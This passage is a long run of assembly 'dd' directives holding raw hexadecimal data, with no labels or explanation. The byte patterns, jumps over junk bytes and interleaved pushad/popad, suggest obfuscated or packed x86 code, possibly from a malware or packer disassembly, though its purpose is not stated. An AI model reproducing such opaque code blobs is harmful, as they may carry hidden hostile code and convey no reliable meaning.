		dd 3FB310A1h, 0B70F76D7h, 0EE960C3h, 55000000h,	9E657F62h
		dd 4A3F7000h, 0BEE8F3Bh, 11E81Ch, 677A0000h, 12A2EEB4h
		dd 430E8ED5h, 5C881676h, 0FC2F9C2Fh, 66F8615Eh,	60785ABBh
		dd 6025B461h, 5F585753h, 52616060h, 8061615Eh, 0F181EAD2h
		dd 298118CCh, 60F0BF0Fh, 0D645B966h, 0BE8h, 0F273FC00h
		dd 0CEDB80C6h, 5B43C9CCh, 0D77208BBh, 0E9615F63h, 5, 3CA15C3Ah
		dd 1BD38122h, 526ECE57h, 0FE9h,	9EA90D00h, 0FC94113Ch
		dd 0C59F6EF9h, 0E7AA5693h, 0F1B1F55Eh, 40C1BE66h, 6DF18166h
		dd 4EE18174h, 0E915A048h, 8, 0CC61C74Ah, 2AD9ECEAh, 0C262BF66h
		dd 2E1EBBFCh, 81667743h, 0FE00BF3h, 0C981C1BFh,	34E5A8B7h
		dd 6800Fh, 0CF810000h, 3138DD75h, 81D78B66h, 0EF4CDBD9h
		dd 7CF78060h, 0AE9CA8Bh, 0B0000000h, 0C02E28B5h, 0B5ED281Ah
		dd 0D5D28143h, 6616763Bh, 6F58CB81h, 57C2BF0Fh,	5A9FBE66h
		dd 0FC38B5Ah, 583h, 0C9816600h,	8B3F709h, 13E8h, 0BA49A400h
		dd 7F6A66E9h, 0ABE7A0BDh, 75697D81h, 24650D3Eh,	0B359DA8Bh
		dd 93DDBA55h, 800F6D91h, 6, 6FB96652h, 5B52597Ch, 0DCF0EBBEh
		dd 77BF5729h, 58030665h, 18880Fh, 13E90000h, 5A000000h
		dd 0C70C6F1Dh, 94D5E003h, 0FC61D750h, 67F2DB4h,	8E0F087Dh
		dd 3, 0FCABF0Fh, 481h, 0CCB86600h, 298E0F4Dh, 0E8000000h
		dd 0Ah,	234BFCBEh, 7FF60C50h, 14E918A9h, 8A000000h, 0EAEC132h
		dd 0CAD25BA3h, 75A6B58Eh, 1F64CDE5h, 59270E6Ah,	0F560FE8Bh
		dd 0BE9h, 48CC1F00h, 0C51CA60Ah, 7043F0B2h, 1850F61h, 0F5000000h
		dd 8B66F78Bh, 3870FF3h,	80000000h, 0B70F8ECAh, 0D68B66F9h
		dd 0ECA7B966h, 7537BFF5h, 0BF0F2BC4h, 0C8BF0FC9h, 14E9h
		dd 90500h, 31D7E0F5h, 0CBF29632h, 5BDAB75Eh, 95F7D04Bh
		dd 6E9F9A8h, 0EA000000h, 3483BCCFh, 14870F8Bh, 0E9000000h
		dd 0Fh,	3E9EDBF0h, 2FA5F760h, 0DB69ABCFh, 0E9D06AE1h, 10h
		dd 0CCD36315h, 59CBB35Ch, 0F186BD9Dh, 692BB5C5h, 0BE9h
		dd 81D7F000h, 4C0ACEF1h, 1CB2793Bh, 0DE8h, 27962100h, 0CBEFBBBBh
		dd 0DEF0F7C5h, 870F255Ch, 6, 890Fh, 0F95A0000h,	5B95B051h
		dd 12E9h, 0DDE07B00h, 48AC84D7h, 232D50EAh, 37951452h
		dd 56180B0Ah, 5E9h, 0EE678400h,	0F5F9AF3h, 881h, 2840F00h
		dd 56000000h, 13E859h, 0E1520000h, 7559F343h, 8108BAAEh
		dd 4514823Ch, 0D9682588h, 0BF665FBEh, 14E8EFF7h, 0F0000000h
		dd 0EAFA5806h, 25F42B6Ah, 0A429F21Ch, 2EE7EDD2h, 528CBE25h
		dd 860Fh, 5F5A0000h, 1B8E0Fh, 12E80000h, 7000000h, 0A45EE647h
		dd 285BC109h, 52204444h, 2DC60923h, 0F6B70F49h,	0C681605Bh
		dd 5A1A4271h, 0C7D64EBAh, 0AE86123h, 96000000h,	0B1013993h
		dd 34269065h, 665AF50Ch, 661856BAh, 0ED6AC281h,	2EEBF66h
		dd 8820FF9h, 0F000000h,	286h, 56616000h, 0CBEE8166h, 0E8525EC4h
		dd 10h,	67103562h, 0B3678F2Ah, 0A4B4B564h, 2375ACBFh, 860Fh
		dd 5E5F0000h, 4761E781h, 0C78104E8h, 3D0D8FAAh,	2EB86660h
		dd 0E9816189h, 4FC309D9h, 0CB8151h, 5E05E531h, 5FBEF681h
		dd 0C88114C8h, 1B7A4AEAh, 816644B0h, 0E95113D3h, 13h, 0E847E9BDh
		dd 14E402BAh, 0EE3729F7h, 0D2C16E83h, 0FDAF888h, 987h
		dd 3880F00h, 80000000h,	0DCBB3DC5h, 0F5C3C6Ah, 5760C3BFh
		dd 0DE9h, 0C8173700h, 2E4639BEh, 0F26C1F56h, 0B95E00D9h
		dd 2607DD76h, 9DD18161h, 50506F71h, 5830Fh, 81660000h
		dd 58F2C5C8h, 816651F9h, 5BDBFAE3h, 870FDA8Bh, 2, 890FB6B2h
		dd 9, 3870Fh, 0F7800000h, 0AE860A7h, 57000000h,	0A244A0Eh
		dd 95A6D57Ah, 0EE8D1h, 0F34E0000h, 4877047Ah, 0CA72ACFh
		dd 482A763Fh, 61FC585Bh, 4521C281h, 840F3BC7h, 2, 13E8C38Bh
		dd 0D4000000h, 8A9D141Ah, 35C57108h, 0C85101D9h, 1BEF4B28h
		dd 0BF0FF721h, 0F5605EDBh, 0CE961F5h, 96000000h, 0E6402C5Dh
		dd 15E65CB1h, 60F2BBC0h, 0E8C0Fh, 9E90000h, 0F7000000h
		dd 793D40A9h, 0BEC9319Ch, 0CAB70F50h, 8A0F6158h, 0
		dd 59F18A52h, 0B0D78BFCh, 0D081663Bh, 0F28BD23Bh, 0FD3B70Fh
		dd 0C8Ah, 68E0F00h, 0F000000h, 8Eh, 0E6816600h,	96BB2335h
		dd 663BCC40h, 6650CA8Bh, 5A8951BFh, 9E9h, 7CEDB900h, 0BB397D51h
		dd 0DA8B1E85h, 9E3CBA66h, 0AB2A2BBEh, 0EF816604h, 8D0FAF0Ah
		dd 3, 66FB8B66h, 0B757CCB8h, 5CB8662Dh,	33BA66E9h, 14E981h
		dd 0E5AC0000h, 4043809Eh, 82BEC357h, 8592FD8Eh,	0FEEF888Fh
		dd 8F0F568Dh, 1, 9FBE66FCh, 0F28B6692h,	0E9F86060h, 0Ah
		dd 0FA52A1DAh, 1E172D3Ch, 0E961968Ch, 0Fh, 359783CDh, 0E63F7C33h
		dd 2F28BCC6h, 617C26C8h, 14E9h,	68FBCF00h, 0CFE6E65Fh
		dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BF0FF8CEh, 8DC081D9h
		dd 0B000B7B4h, 2EE58061h, 18800F50h, 0E9000000h, 13h, 0EB44EDF1h
		dd 34E871B5h, 0ED6DB31Eh, 1A1648A8h, 5FF9E22Eh,	5E9h, 245BBD00h
		dd 860F9845h, 1, 0CE8F8h, 8F0C0000h, 2A227F29h,	5548FD3Ch
		dd 8166659Bh, 594E2DE3h, 0F6816660h, 61FC4E17h,	0BE6650h
		dd 8B66590Fh, 14E8CBh, 5CDD0000h, 0AC372752h, 6FAC79ADh
		dd 64187145h, 0A35E1FB8h, 0BE89AEBh, 32000000h,	0B4FA9AF5h
		dd 39AC03B3h, 595163F4h, 8B665B5Fh, 0FCA8BF8h, 0BF0FD8B7h
		dd 0F18B5FAh, 0CA81DFB7h, 1951AF79h, 56B55357h,	810F5F58h
		dd 0Ch,	68E0Fh,	0F1810000h, 4A411130h, 589B3CB8h, 178A0F47h
		dd 0E9000000h, 12h, 5AE8E707h, 445105E7h, 0E93D30DFh, 7F65D6C7h
		dd 0E8F8220Eh, 0Bh, 0C6ED0B85h,	7272A449h, 6641AAE0h, 0B958F98Bh
		dd 3F64C9E2h, 800Fh, 0BF660000h, 0CF81872Bh, 5EF56352h
		dd 5860Fh, 73BB0000h, 5057045Fh, 2840F5Fh, 8B000000h, 53C080D0h
		dd 57C78B66h, 8B66575Ah, 0C3815BC1h, 6ACF4A0Fh,	0FE9h
		dd 7CE17500h, 6B5652C5h, 1F769AB9h, 0E063E4Ch, 8E960h
		dd 3FCF0000h, 70FEA8D3h, 0E860C32Dh, 0Ch, 0CA438285h, 3FCA0D95h
		dd 0EC762924h, 0CE95Ah,	9D250000h, 0C5FA5591h, 42AF8BC0h
		dd 6161726Eh, 6E9h, 0DD455300h,	0F9FF13EAh, 7E9CB8Ah, 11000000h
		dd 4F66362h, 0AE966E3h,	6E000000h, 0B9913903h, 0FB47C250h
		dd 0E9F560A0h, 0Eh, 0CFE7B40Eh,	0E013A5F3h, 0C081E405h
		dd 66613477h, 0B057F081h, 49FE781h, 0AFBA781Eh,	6655D031h
		dd 0F98BD38Bh, 0FFB8B66h, 830FC2BFh, 6,	3548F281h, 13E815D1h
		dd 0C8000000h, 8CF5D4DFh, 958F48B7h, 2C52CF0h, 5FB33035h
		dd 0E5809E5Bh, 12E959F7h, 0C6000000h, 5BE1FAE9h, 0C889EB88h
		dd 9335F770h, 0A5D607C6h, 14E918h, 78D10000h, 66A88B6Bh
		dd 23A428BBh, 0AEA0AE7Bh, 0D678F6BFh, 0F781E040h, 1B5481C0h
		dd 0E7815060h, 20C001CEh, 0D7BF0F5Eh, 8077B061h, 0D7B11AE4h
		dd 0BEF98B66h, 607FABA0h, 14E9h, 0BF3DD600h, 6C69A28Fh
		dd 47FE6994h, 2F0003A7h, 49997470h, 0EA816685h,	0DE9F225h
		dd 4B000000h, 2495CB1Fh, 95DA318Fh, 36B301Dh, 58C0Fh, 81660000h
		dd 6682F2EBh, 6DDFF281h, 0C28B6660h, 0B1F38A61h, 0CEBF66D3h
		dd 810F26h, 0E9000000h,	11h, 32C067Ch, 51918177h, 99FC2B8h
		dd 2A25527Ah, 0B86660C5h, 850FD526h, 1,	11E961F8h, 0F6000000h
		dd 4F0E420Fh, 2FD68162h, 0FEB068F6h, 3682FC8h, 16870Fh
		dd 0EE80000h, 33000000h, 49BA29C0h, 0BAA70860h,	7DD66F27h
		dd 595F57D8h, 8ACABF0Fh, 2D96B9CEh, 8B667E24h, 2BBA66F8h
		dd 0E6B86673h, 0D8E18195h, 0F5FA51Dh, 38Ah, 0DEDC8000h
		dd 5810Fh, 31BE0000h, 0F414694h, 386h, 5BF55100h, 0F081D5B0h
		dd 639654BAh, 28A0F53h,	0B3000000h, 11E85EA8h, 0C1000000h
		dd 0A5291B0h, 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0F38B6656h
		dd 11E85A5Eh, 4F000000h, 24EA5470h, 0C7E1AE2Ah,	46913C1Eh
		dd 0ABC40B36h, 0CBEB08B8h, 81665A55h, 0E8A5D3EBh, 13h
		dd 1DC679E7h, 8D8AF0A3h, 0CD65CCAAh, 0FCBC9E4h,	0BA90E1C1h
		dd 29897B71h, 28D0F5Ah,	8A000000h, 58C0FF1h, 0BA000000h
		dd 72FDC961h, 183D64BEh, 5E943h, 61EB0000h, 664FD8C8h
		dd 8B66CE8Bh, 5850FD1h,	0BB000000h, 4BB452E4h, 0BE8F98Bh
		dd 94000000h, 0DEDC176Bh, 0B995610h, 0BB539301h, 2C1D9E6Ah
		dd 7E95959h, 0C9000000h, 0FCD22DD9h, 0D681839Fh, 589252F1h
		dd 6651D38Bh, 0E85FFB8Bh, 0Fh, 67D1842Ah, 577E5715h, 0A54B4EE1h
		dd 0E952F03Bh, 0Ah, 9BE2309Eh, 0E8A65E18h, 0F5EF513h, 1682h
		dd 11E900h, 89AD0000h, 0DB2E454Ah, 4D5C062Ch, 7A38CB44h
		dd 0F9F0C21Bh, 0F4C2A7BEh, 665E504Dh, 0FCE35EB9h, 92C0BB66h
		dd 0DE9FCh, 0C3CE0000h,	572814E7h, 0A34E091Bh, 6038751Bh
		dd 606108B2h, 33F4F781h, 61F50826h, 774FBF66h, 66F7BF0Fh
		dd 0E921BBBFh, 5, 0D3DB537Fh, 0FE904h, 9B330000h, 25CD8C6Bh
		dd 0F9E4BDDBh, 0BC9CEE46h, 8B66535Eh, 0EB805EFBh, 128C0FA8h
		dd 60000000h, 0AE8h, 6A952900h,	0AD29B4Ch, 5EFEEE58h, 8BC18A61h
		dd 0E86EBBFEh, 5E948B9h, 0E5000000h, 0B4A2F3Ah,	5E8h, 44782400h
		dd 0F609714h, 8Bh, 0F5F6100h, 583h, 0F0816600h,	13E87D5Bh
		dd 7B000000h, 0F55301CBh, 4947C031h, 0CEFC93ABh, 6ECD776Fh
		dd 0C78AC82Bh, 0C28B605Eh, 58C0Fh, 28B90000h, 61254965h
		dd 0EC18166h, 0EE929h, 0E1E0000h, 0C5B23853h, 0B719DCC8h
		dd 0BE4DFEAFh, 6800F60h, 0F000000h, 86h, 0D8816100h, 0D7456Bh
		dd 10E9h, 0B8C56200h, 26C59896h, 0A4A3B117h, 0F2F669FCh
		dd 0E1CA806Bh, 7878DE81h, 0EE805B5h, 5B000000h,	77F22A60h
		dd 0D8AB80F6h, 3E7E0C58h, 7E940h, 92EA0000h, 337A209Ch
		dd 81665BBBh, 663444EBh, 7491F281h, 168B0Fh, 11E90000h
		dd 8A000000h, 5379FA11h, 0ACC38D6Dh, 0D8293EF9h, 0AE9993F6h
		dd 0F8D0Fh, 0AE90000h, 50000000h, 0FF7E2FAEh, 66FD73Eh
		dd 0E5D781EDh, 817DDC93h, 34EB93C9h, 0E95F511Fh, 8, 214C18C9h
		dd 0C744F902h, 2870Fh, 5B10000h, 0FE9D68Bh, 25000000h
		dd 0DE33AF62h, 770B773Dh, 0DF31FA99h, 8E0FE907h, 5, 0DF8B6653h
		dd 0E2BB665Eh, 3CBF6652h, 13E9E0h, 0B0BC0000h, 0DCED1942h
		dd 0B29BEC8Ch, 64DDC776h, 3AC5D42Fh, 8B60FC0Fh,	32E881F2h
		dd 610BA8C6h, 0B9A2F380h, 16CA6E5Bh, 0FEBC680h,	582h, 8465B800h
		dd 816633BEh, 0F4BD4E8h, 8D0FCBB7h, 6, 0B25BDE81h, 0EEB449DCh
		dd 0E850C78Bh, 0Ch, 5A35CC5Ah, 0EA0EB722h, 0E913FCA6h
		dd 840F5F5Fh, 4, 941DBE66h, 11E9h, 446A5D00h, 3F8EF4FEh
		dd 46FABCD8h, 6AFBC1A9h, 0D381E132h, 530436B3h,	19E0E781h
		dd 566046ECh, 10E9h, 701A3800h,	6FC8BE49h, 0A011B041h
		dd 5B1A1EBh, 890F593Bh,	5, 0FCC98166h, 0BE8617Fh, 3000000h
		dd 9AA26631h, 796646C1h, 11E92777h, 3F000000h, 553E8DD6h
		dd 37B711B1h, 0E6362BBCh, 0BB75D45Fh, 11E95Eh, 2F500000h
		dd 0CE58EA80h, 0D4CA473h, 0CA8B7D9Bh, 0FCA603CDh, 50F08B66h
		dd 15860Fh, 10E90000h, 3C000000h, 566E7EBCh, 0D18FC45Fh
		dd 0B61B8ED8h, 5A507625h, 14E38166h, 0C0816689h, 0EE802FC9h
		dd 8B666044h, 0A6CF81F8h, 610FF327h, 4890Fh, 0B9660000h
		dd 8B668EE7h, 0C9BF0FF7h, 0CE8h, 0CD3F6900h, 338DDDA6h
		dd 0BB1FFB34h, 0D3B70F73h, 0A8BFF85Bh, 6679E27Ch, 0F516BBFh
		dd 28Fh, 60E5B100h, 14E953h, 0C2E80000h, 0CF723B6Fh, 0C4576B54h
		dd 19E4DD47h, 837732Fh,	0F5A0B14h, 1487h, 0EE800h, 0FC1D0000h
		dd 3859ED0h, 7FA6BF5Eh,	6ED57299h, 0FF86158h, 0AE8D2BFh
		dd 0AC000000h, 0E7D30C1Bh, 0FDCA9BE4h, 2AE78176h, 5974CC5Dh
		dd 0E9DA8B66h, 0Ch, 3AD99C61h, 1B84A42Bh, 7A5A9D64h, 59BBD78Bh
		dd 8101DB65h, 2159BFD1h, 81B1F841h, 0EEE8160h, 0E96BCECCh
		dd 13h,	76BCF434h, 6F68EB99h, 2E8C36E1h, 42BB70BCh, 61811C02h
		dd 9E8EBB66h, 3850Fh, 8B660000h, 4ED181C1h, 50570056h
		dd 0FCC18166h, 81665F94h, 0E97AFEE1h, 8, 8D37DEEDh, 40407695h
		dd 0BF0F5A53h, 0EBB866F0h, 13E946h, 0A0D00000h,	705426B0h
		dd 0EF876723h, 0D67280E7h, 717A6E1Ah, 8A47B4A7h, 0CE9CEh
		dd 177E0000h, 72591679h, 0B6D1C595h, 0C0811E43h, 3B2B5DEh
		dd 2B29F681h, 0AAB6568Eh, 3C1BF781h, 800F6804h,	13h, 0AE8h
		dd 17D45100h, 0F585C07Fh, 6692BED3h, 0F59CA8Bh,	889h, 0C1815600h
		dd 34F3FF6Ah, 3850F5Bh,	0F000000h, 0B866F1B7h, 8E89370h
		dd 6D000000h, 0A8D650ADh, 6664578Bh, 0FE61D081h, 56D88A5Fh
		dd 0CE9h, 7763D900h, 3AE1C61h, 0B911DBF9h, 8AF95AD0h, 3DCC80D5h
		dd 7E9F88Ah, 86000000h,	29E138F8h, 8B0FC6C9h, 0
		dd 0EE956h, 53F40000h, 4C933B7Eh, 0AEBEB752h, 0D404E12Dh
		dd 0C2816658h, 8B66D7CCh, 5DBE66C1h, 0F681F544h, 252631A2h
		dd 5E8h, 7430A000h, 0F5EA2D9h, 0CF81F7BFh, 3091E309h, 60F78B66h
		dd 61F18BF9h, 0E9CF8B66h, 11h, 9BF943C7h, 0BE0C1889h, 0C3958815h
		dd 64D7BDF4h, 26BF66D9h, 5860F7Eh, 0BF000000h, 4814A1B7h
		dd 3567BB66h, 8ADE8B66h, 0F9BF0FECh, 14E860h, 0BD0000h
		dd 0F8C2D319h, 136C6E34h, 99E72E99h, 0CD79EC8Ah, 8B663B30h
		dd 0E9815AD8h, 19CA977Bh, 0CE861h, 44AE0000h, 435BD272h
		dd 0BD5C56ADh, 8166830Fh, 5ACFDBD6h, 870FC38Ah,	3, 5130C680h
		dd 0FE9h, 7DF90D00h, 9DB42C51h,	669453EAh, 3DB5DF6Fh, 0DE959h
		dd 0DB550000h, 927F594Dh, 0BF9F881Fh, 0E8806A31h, 9, 82F747CEh
		dd 30731A4Dh, 0C08166E1h, 0E958DCFEh, 9, 37FCAA9Dh, 0B8E5DEEBh
		dd 0B4BB66B6h, 15830F86h, 0E9000000h, 10h, 7350B09Ah, 77345F86h
		dd 451B93F8h, 0F2D45655h, 28D38DBAh, 0D0B70F6Fh, 0A0C88166h
		dd 0FE90Bh, 5D500000h, 2F9B27B6h, 27693FE5h, 3DF44354h
		dd 58F0F05h, 66000000h,	3133CE81h, 420ABF66h, 8850Fh, 820F0000h
		dd 2, 11E8DE8Ah, 0DD000000h, 0D5FC907Bh, 1CC3BD48h, 6096B030h
		dd 22FCC79Fh, 2850Fh, 61600000h, 10810F5Bh, 0E9000000h
		dd 0Bh,	0CA6F6B6Ch, 0B479E519h,	0E9E01A88h, 13h, 50218AACh
		dd 0D2F9981Ah, 0B79314D0h, 1715A7F9h, 6066F5D6h, 8B5F5060h
		dd 880F61C6h, 2, 0E8616160h, 0Eh, 3419DBC1h, 536AE2D9h
		dd 0B9719414h, 815A9E70h, 0A87DE2C2h, 0D0816603h, 8E9A165h
		dd 61000000h, 2514A290h, 816FA97Ch, 21CC2CBh, 13E8574Ah
		dd 0BC000000h, 895B9030h, 589156D8h, 48550F9Fh,	2418313Dh
		dd 8B667220h, 66595FDFh, 8F64E181h, 58A0Fh, 0D8B90000h
		dd 606B8C51h, 0BE9h, 287E6E00h,	4961BA91h, 1024C83Dh, 6E9h
		dd 76CF4400h, 61E5523Ah, 65956FBBh, 0C9BE6607h,	0FD38BD6h
		dd 0DE9D0B7h, 0C1000000h, 17856AA4h, 0BDC4C506h, 3BF4F167h
		dd 8E9h, 1EF6AD00h, 971BF5DDh, 2AD0809Dh, 28C0Fh, 8EB60000h
		dd 8E9h, 96A7E400h, 191AB31Dh, 14E8D5h,	8E6A0000h, 6312D815h
		dd 1993C66h, 0A64C2711h, 187A0FBEh, 0F78B1D27h,	6403B958h
		dd 8B6650F3h, 0B4DA8ACBh, 3FEBBB76h, 0BE6638A0h, 0BE669308h
		dd 0D9816A0Fh, 4FC9944Eh, 0E7D5E181h, 0BF667D63h, 0BF0F60B8h
		dd 0E38166F1h, 60F8424Ch, 0E9F9B70Fh, 6, 0AC3BB11Fh, 0F61AAB1h
		dd 28Ah, 0BE85B400h, 3BA9573Ah,	0B958DE81h, 0B5BF36C2h
		dd 0F4F5B47h, 8B0FF9B7h, 5, 0DF78166h, 0EBB86653h, 0B5D98B70h
		dd 6E85Ch, 0E1730000h, 6A4D5212h, 0C5D98160h, 8B6080A7h
		dd 0B55A61D1h, 0D1B8B883h, 0AE96294h, 64000000h, 143679F7h
		dd 1B6608E9h, 0EE92Eh, 0CB970000h, 0CE9A618Dh, 0F7CE145Dh
		dd 0BFEBA633h, 0E9F98B66h, 0Dh,	0C6D21F5Ch, 1A81BEE0h
		dd 490E743Fh, 12E97Ch, 450B0000h, 0D5CBDF45h, 0A55154CDh
		dd 4637899h, 6C97B4FEh,	0DE856h, 21650000h, 1E0F8219h
		dd 0F0125F74h, 0F8032E3h, 8Fh, 0E95A5E00h, 0Fh,	348099DDh
		dd 4577D7F6h, 77DD4009h, 608671ABh, 2830Fh, 0C88B0000h
		dd 0A4A95B8h, 0F281614Eh, 32F9B60Eh, 1800Fh, 0B1F90000h
		dd 0F18B60F7h, 2413B866h, 3BBE61h, 6E97A47h, 5F000000h
		dd 0A13838A9h, 18E0F40h, 0FC000000h, 8109DA80h,	0CC650DE2h
		dd 12E911h, 91350000h, 481403Dh, 60853D74h, 0F65A21B4h
		dd 2CCCC3EDh, 17810Fh, 12E90000h, 6000000h, 2F46E8E3h
		dd 8FB77926h, 0D715E72Ah, 0B1104F0Ch, 75BE6646h, 0CE94Ah
		dd 0F9DE0000h, 0F5913D68h, 81096447h, 80F50833h, 0CB8BA2F0h
		dd 8C0FD78Bh, 0Bh, 58D0Fh, 81660000h, 667D8FE6h, 662F53BAh
		dd 0E8D87CBAh, 0Dh, 143080B5h, 9C6AD33h, 1DD51B43h, 0E28166F0h
		dd 605FA685h, 9B44F381h, 0E9515C6Ah, 5,	0D66EFE5Eh, 0F615E2Eh
		dd 48Ah, 0CE8B5600h, 0BFF5605Fh, 6B6D91B3h, 0CE961h, 47E50000h
		dd 85039A94h, 0EED2396h, 0F98B3C20h, 0E9DE8B66h, 14h, 195556B4h
		dd 3B7D8BDEh, 975F9F68h, 7555DA71h, 0E7CD6652h,	0BDE68166h
		dd 0DE9DCh, 0CCCB0000h,	49C9654h, 10D554A1h, 662647C7h
		dd 0CD1BCE81h, 0FE9h, 6C621000h, 5ECC7547h, 0A3EC5472h
		dd 6BBCF7B1h, 0BCEA81F5h, 0F7160D7h, 880FF0BFh,	3, 608BD480h
		dd 28B0Fh, 0F78B0000h, 2840Fh, 43B20000h, 0D08B6661h, 0FE9F5h
		dd 36DE0000h, 0AC908B13h, 2AF54234h, 0C51D4835h, 92B866E9h
		dd 9E9FC99h, 0C8000000h, 9C6EA445h, 0F9D56F3Ch,	810Fh
		dd 0E9F50000h, 0Dh, 0DE740FD8h,	8847C9B8h, 35627B57h, 8E89B910h
		dd 0B70F7817h, 0E5B966F1h, 38A0F22h, 57000000h,	8E0F5FFCh
		dd 3, 60C2B70Fh, 5F1DBA66h, 6176DA80h, 0DAB70FF5h, 14E9h
		dd 9E772A00h, 5EF71322h, 6CD62C0Bh, 178C555Bh, 0C13124C7h
		dd 38A0F33h, 66000000h,	0FE9CE8Bh, 2F000000h, 19BFF7FAh
		dd 6591CD40h, 2E28B5B0h, 13E81AC0h, 12000000h, 0DAC255A9h
		dd 7F571CF8h, 5074B00h,	6A2D21B1h, 0BF0FDAF4h, 8B665AFAh
		dd 8E9F7h, 37350000h, 430AFF2Ah, 8F0F6C12h, 1Bh, 13E850h
		dd 7420000h, 0DF167792h, 9C59D852h, 75C87411h, 0A639DE57h
		dd 0E9595B01h, 6, 8AE8F74Dh, 820F4D95h,	5, 0ABE78166h
		dd 0DE8166BBh, 6E80110h, 2A000000h, 0BC72F6E9h,	0E95FBB54h
		dd 0E95E5820h, 14h, 524A6432h, 0F0FC3D55h, 8E03B5ADh, 5A1909CCh
		dd 0A76B043Eh, 80D2B70Fh, 816665C2h, 661D98DFh,	66F50BBBh
		dd 606F8DBBh, 9ACB8166h, 57BA666Dh, 0C7806193h,	2AB7F96Eh
		dd 5830Fh, 23B90000h, 0E8126CE8h, 0Fh, 579D3BF0h, 1D3FB9B6h
		dd 420EDFA2h, 819563D7h, 0AC2771C7h, 5F575A75h,	0F6EDF80h
		dd 0B70FDBB7h, 66DC8AC6h, 2AF7C181h, 4B1EB81h, 81F8187Eh
		dd 0E55609C2h, 0BACB8B6Eh, 5AFA939h, 38A0Fh, 0B70F0000h
		dd 29B866C8h, 81665332h, 5B4563EBh, 0BFD38B66h,	7D747167h
		dd 0D7A00DB8h, 9E936h, 0C0440000h, 621A92D0h, 0FB3279Eh
		dd 0B70FCFBFh, 60C78BF7h, 14E8h, 481BF800h, 0FA8AD7B3h
		dd 7A99F704h, 0C4500B42h, 158FC8DEh, 870F2Fh, 5A000000h
		dd 0D8B70F61h, 0E61E4BEh, 28F0F68h, 8A000000h, 0E8A0BAD1h
		dd 840F496Fh, 2, 0CE9FB8Bh, 65000000h, 0C42E6456h, 0F25B92Ch
		dd 0F836A8FBh, 0BE9h, 2F507C00h, 0CE58EA80h, 0D4CA473h
		dd 66DE8B66h, 81F77BBAh, 4486A6D7h, 850F75h, 0E8000000h
		dd 10h,	774FC930h, 4D94F02Dh, 102EF86Ch, 0BF467806h, 14E9h
		dd 0FA672000h, 0ACE45AFFh, 8B00BF28h, 590DEA6Fh, 0CDBF0BBFh
		dd 0EDB65A26h, 8ADBCD80h, 0D78166C7h, 13E92BC9h, 0EF000000h
		dd 3F80CA04h, 9C95D3DAh, 0C6D135CDh, 637B0625h,	74B78559h
		dd 0DE9h, 0AD2D2200h, 0B582CF10h, 6A659382h, 0CF8177FCh
		dd 0BD66948h, 81D98B60h, 0A779B3E9h, 0F48A6109h, 0EE96FB0h
		dd 0AD000000h, 0D8797154h, 9593B2A6h, 402654DCh, 0C38B6610h
		dd 84F6BABFh, 8F0F6073h, 6, 8F0Fh, 800F0000h, 6, 830Fh
		dd 0F610000h, 8166D3BFh, 0E97C40C8h, 0Bh, 0CEB098BBh, 6185249Bh
		dd 52D1EC22h, 0DE9h, 27F57100h,	58C31910h, 0F6FD4A91h
		dd 6659862Eh, 0F5E23B9h, 83h, 7E900h, 8BC30000h, 90737A60h
		dd 0D88B6684h, 0FE9F560h, 0EF000000h, 7F3A15C0h, 21F666CDh
		dd 46834684h, 6661F040h, 0B2AA4BB8h, 14E95778h,	67000000h
		dd 0E68C8EC3h, 5F41E4C5h, 0D5A99299h, 7E9C5013h, 5F644A4Eh
		dd 25B8BE66h, 7AFDBE66h, 4C6E26BAh, 5DB96624h, 0DE08050h
		dd 0F08B6660h, 84C08166h, 816661F3h, 0F8511CBh,	0D8Ah
		dd 8E900h, 339C0000h, 4B4529B5h, 0B70FC70Ah, 59EF80D2h
		dd 57FA8B66h, 2850Fh, 61600000h, 8166515Ah, 5E60BCE1h
		dd 0BA66C78Bh, 12E8205Ah, 41000000h, 0E5CD9A6h,	0DD5D2141h
		dd 3CD04A32h, 0B3D85C43h, 0EF816667h, 6658107Ch, 0A1F6C181h
		dd 0EE8h, 0CFC9B000h, 2E7F4525h, 2C4153ADh, 8ACF7AC4h
		dd 0C18B5AE5h, 6E9h, 0D30F8D00h, 663B7FF8h, 664359BBh
		dd 0E950FB8Bh, 13h, 577D4FAFh, 446FF16h, 900E1D33h, 2668DCE9h
		dd 5A15749Ch, 5890Fh, 55BE0000h, 8A3D8D8Ah, 0EE9F7h, 0F8BE0000h
		dd 0A454CA00h, 23D7025Fh, 0D87CFEFCh, 71D4D4BAh, 0E2D3BE61h
		dd 0E95251DCh, 12h, 0E1AF641h, 1A14C917h, 7802C6D4h, 8174F882h
		dd 0E858F8F0h, 0Ah, 962E8690h, 9A0A4486h, 60595519h, 8C0F8BB0h
		dd 2, 0F9616160h, 0E8D3BF0Fh, 6, 6417038Ch, 8166AF19h
		dd 5B60B6E0h, 3105F181h, 0EF816502h, 3101FB71h,	6E9h, 24090100h
		dd 0E95075C3h, 14h, 84F0BD4Fh, 9AF3EE67h, 9CDEB088h, 6F7DD7CCh
		dd 97FBECECh, 0D7D68160h, 616B7BA0h, 9E9h, 0D83F8E00h
		dd 0A946FABCh, 0F950FBC1h, 840F605Bh, 11h, 0BE8h, 3A125900h
		dd 0A2DFE6B6h, 0F2378D19h, 6E85Ah, 5B240000h, 3EF53EADh
		dd 615BC38Bh, 0B453FE8Bh, 66605FBDh, 0B70FC88Bh, 0BF6661C0h
		dd 8E8AD03h, 9C000000h,	72452653h, 0F9BDEEE9h, 11E95Fh
		dd 0ED3D0000h, 851EEEB8h, 97690F83h, 9A618DCBh,	0E9145DCEh
		dd 13h,	0D2126155h, 43B1B73Bh, 1077BC03h, 4C84F789h, 8169006Dh
		dd 715E1BD2h, 0FB8B6633h, 944EBF52h, 0F583FA7h,	98Ch, 38C0F00h
		dd 80000000h, 0D7B8FFC4h, 0E90D53F6h, 0Fh, 56502D57h, 0CEE46CD9h
		dd 0B67C5C87h, 66958040h, 6920C881h, 60C6BF0Fh,	0AE8h
		dd 54F97200h, 3B6D29EDh, 804AA578h, 605B9AD7h, 60D1BF0Fh
		dd 0FC616161h, 3850Fh, 8B660000h, 6660F8F9h, 66703EBFh
		dd 6661CB8Bh, 3ABDCB81h, 0BF0F5360h, 5CB85BF8h,	617ECB1Dh
		dd 12E9h, 0E0390000h, 0D8C861EBh, 13F18C4Fh, 2BD4F58Ch
		dd 8A5EA12Eh, 0D98166DEh, 0BF0FE02Ah, 0DB8166CFh, 0BF0FF4DAh
		dd 6CD081C6h, 0F9078C93h, 0DE9FA8Bh, 14000000h,	176FEE2Bh
